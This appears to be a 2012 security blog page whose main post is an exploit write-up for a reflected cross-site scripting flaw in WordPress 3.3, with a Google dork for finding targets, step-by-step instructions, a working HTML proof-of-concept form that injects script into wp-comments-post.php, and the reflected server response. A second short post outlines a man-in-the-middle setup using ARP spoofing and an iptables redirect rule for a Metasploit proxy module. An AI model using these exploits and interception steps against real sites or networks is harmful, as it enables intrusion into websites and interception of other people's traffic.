Jan 4, 2012

Wordpress 3.3 XSS vulnerability




# Exploit Title: Reflected Cross Site Scripting in wordpress 3.3

# Google Dork: intext:"Proudly powered by WordPress"
# Date: 2.Jan.2012
# Author: Aditya Modha, Samir Shah
# Greetz: Jigar Soni, Mr 52
# Software Link: http://www.wordpress.org/download/
# Version: 3.3
# Tested on: apache
# CVE :  Nope.


Step 1
: Post a comment to the target website

Step 2
: Replace the value of author tag, email tag, comment tag with the exact value of what has been post in the last comment. Change the value of comment_post_ID to the value of post (which can be known by opening that post and checking the value of p parameter in the url). For example the if the url is http://192.168.1.102/wordpress/?p=6 then the value of comment_post_ID is 6.

<html>

<title>Wordpress 3.3 XSS PoC</title>

<body>


<form name="XSS" id="XSS" action="http://host/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST">

<input type="hidden" name="author" value="replace me">
<input type="hidden" name="email" value="replace me">
<input type="hidden" name="url" value="">
<input type="hidden" name="comment" value="replace me">
<input type="hidden" name="submit" value="Post Comment">
<input type="hidden" name="comment_post_ID" value="replace me">
<input type="hidden" name="comment_parent" value="0">
<input type="button" value="Click Me" />
</form>

</body>

</html>

Step 3
: Publish the above html file on the web server and access it. Click on "Click Me" button. This will try to post the comment to wordpress which will flag this comment as duplicate comment with the 500 Internal server error response. Here our XSS payload will get executed. Check wordpress_3.3_xss.png file.

Step 4
: The response code where XSS payload reflects is given below

<!DOCTYPE html>

<!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono
-->
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>WordPress &rsaquo; Error</title>

<style type="text/css">

html {

background: #f9f9f9;

}

body {

background: #fff;

color: #333;

               ..............snip....................

.button {

background: #f2f2f2 url(http://192.168.1.102/wordpress/wp-comments-post.php?</style>
<script>document.write(Date())</script><style>/wp-admin/images/white-grad.png) repeat-x scroll left top;
}


.button:active {

background: #eee url(http://192.168.1.102/wordpress/wp-comments-post.php?</style>
<script>document.write(Date())</script><style>/wp-admin/images/white-grad-active.png) repeat-x scroll left top;
}

</style>

</head>
<body id="error-page">
<p>Duplicate comment detected; it looks as though you&#8217;ve already said that!</p></body>

</html>


UPDATE: It will even work if you do not supply any comment data. Duplicate comment event is not necessary. And i forgot to mention that this will only work with Internet Explorer since other browser like firefox and chrome will url encode our XSS payload.



<html>
<title>Wordpress 3.3 XSS PoC</title>

<body>

<form name="XSS" id="XSS" action="http://host/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST">
<input type="hidden" name="author" value="oldman">
<input type="hidden" name="email" value="oldmanlab@gmail.com">
<input type="hidden" name="url" value="">
<input type="hidden" name="comment" value="">
<input type="hidden" name="submit" value="Post Comment">
<input type="hidden" name="comment_post_ID" value="replace_me">
<input type="hidden" name="comment_parent" value="0">
<input type="submit" value="Click Me" />
</form>

</body>
</html>
 


If you like my blog, Please Donate Me

Android X iOS Security

Android vs iOS infographic
Infographic by Veracode Application Security

Source: https://www.veracode.com/resources/android-ios-security#.TwPVfPRitb0.facebook

If you like my blog, Please Donate Me

Jan 2, 2012

TCP Proxy for MITM Attacks in Metasploit

1. Arpspoofing Or whatever hacking technique that you can redirect traffic to attacker machine.

2. Use IPTABLE in attacker 
$ iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 80

3.Download the module from Source.

4. Use the module with metasploit.

5. Have a nice Hack :)

 


If you like my blog, Please Donate Me
 

Sponsors

lusovps.com

Blogroll

About

 Please subscribe my blog.

 Old Subscribe

Share |